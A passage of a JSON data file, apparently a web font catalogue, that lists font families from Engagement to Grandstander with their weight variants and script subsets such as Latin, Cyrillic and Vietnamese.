300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Engagement":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Englebert":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Enriqueta":{"variants":[{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Ephesis":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Epilogue":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"},{"id":"100italic","name":"Ultra-Light 100 Italic"},{"id":"200italic","name":"Light 200 Italic"},{"id":"300italic","name":"Book 300 Italic"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"},{"id":"600italic","name":"Semi-Bold 600 Italic"},{"id":"700italic","name":"Bold 700 Italic"},{"id":"800italic","name":"Extra-Bold 800 Italic"},{"id":"900italic","name":"Ultra-Bold 900 Italic"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Erica One":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Esteban":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Estonia":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Euphoria Script":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Ewert":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Exo":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"},{"id":"100italic","name":"Ultra-Light 100 Italic"},{"id":"200italic","name":"Light 200 Italic"},{"id":"300italic","name":"Book 300 Italic"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"},{"id":"600italic","name":"Semi-Bold 600 Italic"},{"id":"700italic","name":"Bold 700 Italic"},{"id":"800italic","name":"Extra-Bold 800 Italic"},{"id":"900italic","name":"Ultra-Bold 900 Italic"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Exo 2":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"},{"id":"100italic","name":"Ultra-Light 100 Italic"},{"id":"200italic","name":"Light 200 Italic"},{"id":"300italic","name":"Book 300 Italic"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"},{"id":"600italic","name":"Semi-Bold 600 Italic"},{"id":"700italic","name":"Bold 700 Italic"},{"id":"800italic","name":"Extra-Bold 800 Italic"},{"id":"900italic","name":"Ultra-Bold 900 Italic"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"cyrillic-ext","name":"Cyrillic Extended"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Expletus Sans":{"variants":[{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"},{"id":"600italic","name":"Semi-Bold 600 Italic"},{"id":"700italic","name":"Bold 700 Italic"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Explora":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"cherokee","name":"Cherokee"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Fahkwang":{"variants":[{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"200italic","name":"Light 200 Italic"},{"id":"300italic","name":"Book 300 Italic"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"},{"id":"600italic","name":"Semi-Bold 600 Italic"},{"id":"700italic","name":"Bold 700 Italic"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"thai","name":"Thai"},{"id":"vietnamese","name":"Vietnamese"}]},"Familjen Grotesk":{"variants":[{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"},{"id":"600italic","name":"Semi-Bold 600 Italic"},{"id":"700italic","name":"Bold 700 Italic"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Fanwood Text":{"variants":[{"id":"400","name":"Normal 400"},{"id":"400italic","name":"Normal 400 Italic"}],"subsets":[{"id":"latin","name":"Latin"}]},"Farro":{"variants":[{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Farsan":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"gujarati","name":"Gujarati"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Fascinate":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Fascinate Inline":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Faster One":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Fasthand":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"khmer","name":"Khmer"},{"id":"latin","name":"Latin"}]},"Fauna One":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Faustina":{"variants":[{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"300italic","name":"Book 300 Italic"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"},{"id":"600italic","name":"Semi-Bold 600 Italic"},{"id":"700italic","name":"Bold 700 Italic"},{"id":"800italic","name":"Extra-Bold 800 Italic"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Federant":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Federo":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Felipa":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Fenix":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Festive":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Finger Paint":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Fira Code":{"variants":[{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"cyrillic-ext","name":"Cyrillic Extended"},{"id":"greek","name":"Greek"},{"id":"greek-ext","name":"Greek Extended"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Fira Mono":{"variants":[{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"cyrillic-ext","name":"Cyrillic Extended"},{"id":"greek","name":"Greek"},{"id":"greek-ext","name":"Greek Extended"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Fira Sans":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"},{"id":"100italic","name":"Ultra-Light 100 Italic"},{"id":"200italic","name":"Light 200 Italic"},{"id":"300italic","name":"Book 300 Italic"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"},{"id":"600italic","name":"Semi-Bold 600 Italic"},{"id":"700italic","name":"Bold 700 Italic"},{"id":"800italic","name":"Extra-Bold 800 Italic"},{"id":"900italic","name":"Ultra-Bold 900 Italic"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"cyrillic-ext","name":"Cyrillic Extended"},{"id":"greek","name":"Greek"},{"id":"greek-ext","name":"Greek Extended"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Fira Sans Condensed":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"},{"id":"100italic","name":"Ultra-Light 100 Italic"},{"id":"200italic","name":"Light 200 Italic"},{"id":"300italic","name":"Book 300 Italic"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"},{"id":"600italic","name":"Semi-Bold 600 Italic"},{"id":"700italic","name":"Bold 700 Italic"},{"id":"800italic","name":"Extra-Bold 800 Italic"},{"id":"900italic","name":"Ultra-Bold 900 Italic"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"cyrillic-ext","name":"Cyrillic Extended"},{"id":"greek","name":"Greek"},{"id":"greek-ext","name":"Greek Extended"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Fira Sans Extra Condensed":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"},{"id":"100italic","name":"Ultra-Light 100 Italic"},{"id":"200italic","name":"Light 200 Italic"},{"id":"300italic","name":"Book 300 Italic"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"},{"id":"600italic","name":"Semi-Bold 600 Italic"},{"id":"700italic","name":"Bold 700 Italic"},{"id":"800italic","name":"Extra-Bold 800 Italic"},{"id":"900italic","name":"Ultra-Bold 900 Italic"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"cyrillic-ext","name":"Cyrillic Extended"},{"id":"greek","name":"Greek"},{"id":"greek-ext","name":"Greek Extended"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Fjalla One":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Fjord One":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Flamenco":{"variants":[{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Flavors":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Fleur De Leah":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Flow Block":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"cyrillic-ext","name":"Cyrillic Extended"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Flow Circular":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"cyrillic-ext","name":"Cyrillic Extended"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Flow Rounded":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"cyrillic-ext","name":"Cyrillic Extended"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Fondamento":{"variants":[{"id":"400","name":"Normal 400"},{"id":"400italic","name":"Normal 400 Italic"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Fontdiner Swanky":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Forum":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"cyrillic-ext","name":"Cyrillic Extended"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Francois One":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Frank Ruhl Libre":{"variants":[{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"700","name":"Bold 700"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"hebrew","name":"Hebrew"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Fraunces":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"},{"id":"100italic","name":"Ultra-Light 100 Italic"},{"id":"200italic","name":"Light 200 Italic"},{"id":"300italic","name":"Book 300 Italic"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"},{"id":"600italic","name":"Semi-Bold 600 Italic"},{"id":"700italic","name":"Bold 700 Italic"},{"id":"800italic","name":"Extra-Bold 800 Italic"},{"id":"900italic","name":"Ultra-Bold 900 Italic"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Freckle Face":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Fredericka the Great":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Fredoka":{"variants":[{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"hebrew","name":"Hebrew"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Fredoka One":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Freehand":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"khmer","name":"Khmer"},{"id":"latin","name":"Latin"}]},"Fresca":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Frijole":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Fruktur":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Fugaz One":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Fuggles":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Fuzzy Bubbles":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"GFS Didot":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"greek","name":"Greek"}]},"GFS Neohellenic":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"700italic","name":"Bold 700 Italic"}],"subsets":[{"id":"greek","name":"Greek"}]},"Gabriela":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"cyrillic-ext","name":"Cyrillic Extended"},{"id":"latin","name":"Latin"}]},"Gaegu":{"variants":[{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"korean","name":"Korean"},{"id":"latin","name":"Latin"}]},"Gafata":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Galada":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"bengali","name":"Bengali"},{"id":"latin","name":"Latin"}]},"Galdeano":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Galindo":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Gamja Flower":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"korean","name":"Korean"},{"id":"latin","name":"Latin"}]},"Gayathri":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"malayalam","name":"Malayalam"}]},"Gelasio":{"variants":[{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"},{"id":"600italic","name":"Semi-Bold 600 Italic"},{"id":"700italic","name":"Bold 700 Italic"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Gemunu Libre":{"variants":[{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"sinhala","name":"Sinhala"}]},"Genos":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"},{"id":"100italic","name":"Ultra-Light 100 Italic"},{"id":"200italic","name":"Light 200 Italic"},{"id":"300italic","name":"Book 300 Italic"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"},{"id":"600italic","name":"Semi-Bold 600 Italic"},{"id":"700italic","name":"Bold 700 Italic"},{"id":"800italic","name":"Extra-Bold 800 Italic"},{"id":"900italic","name":"Ultra-Bold 900 Italic"}],"subsets":[{"id":"cherokee","name":"Cherokee"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Gentium Basic":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"700italic","name":"Bold 700 Italic"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Gentium Book Basic":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"700italic","name":"Bold 700 Italic"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Geo":{"variants":[{"id":"400","name":"Normal 400"},{"id":"400italic","name":"Normal 400 Italic"}],"subsets":[{"id":"latin","name":"Latin"}]},"Georama":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"},{"id":"100italic","name":"Ultra-Light 100 Italic"},{"id":"200italic","name":"Light 200 Italic"},{"id":"300italic","name":"Book 300 Italic"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"},{"id":"600italic","name":"Semi-Bold 600 Italic"},{"id":"700italic","name":"Bold 700 Italic"},{"id":"800italic","name":"Extra-Bold 800 Italic"},{"id":"900italic","name":"Ultra-Bold 900 Italic"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Geostar":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Geostar Fill":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Germania One":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Gideon Roman":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Gidugu":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"telugu","name":"Telugu"}]},"Gilda Display":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Girassol":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Give You Glory":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Glass Antiqua":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Glegoo":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"devanagari","name":"Devanagari"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Gloria Hallelujah":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Glory":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"100italic","name":"Ultra-Light 100 Italic"},{"id":"200italic","name":"Light 200 Italic"},{"id":"300italic","name":"Book 300 Italic"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"},{"id":"600italic","name":"Semi-Bold 600 Italic"},{"id":"700italic","name":"Bold 700 Italic"},{"id":"800italic","name":"Extra-Bold 800 Italic"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Gluten":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Goblin One":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Gochi Hand":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Goldman":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Gorditas":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"latin","name":"Latin"}]},"Gothic A1":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"korean","name":"Korean"},{"id":"latin","name":"Latin"}]},"Gotu":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"devanagari","name":"Devanagari"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Goudy Bookletter 1911":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Gowun Batang":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"korean","name":"Korean"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Gowun Dodum":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"korean","name":"Korean"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Graduate":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Grand Hotel":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Grandstander":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 